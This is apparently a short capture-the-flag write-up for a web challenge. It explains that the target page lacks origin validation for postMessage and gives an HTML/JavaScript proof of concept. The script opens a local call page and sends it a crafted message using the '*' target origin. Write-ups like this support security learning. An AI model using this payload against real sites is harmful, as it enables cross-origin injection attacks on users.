Tags: xss web
Rating:
There is no origin validation for window post messsaging.
```
<html>
<script type="text/javascript">
var call_window;
call_window = window.open("http://localhost/call.php");
setTimeout(function(){
call_window.postMessage({
type: "audio",
details: {
sender_username: "",
sender_team_name: "zzzz",
receiver_username: "test",
receiver_team_name: "test"
}
}, "*");
}, 1000);
</script>
</html>
```
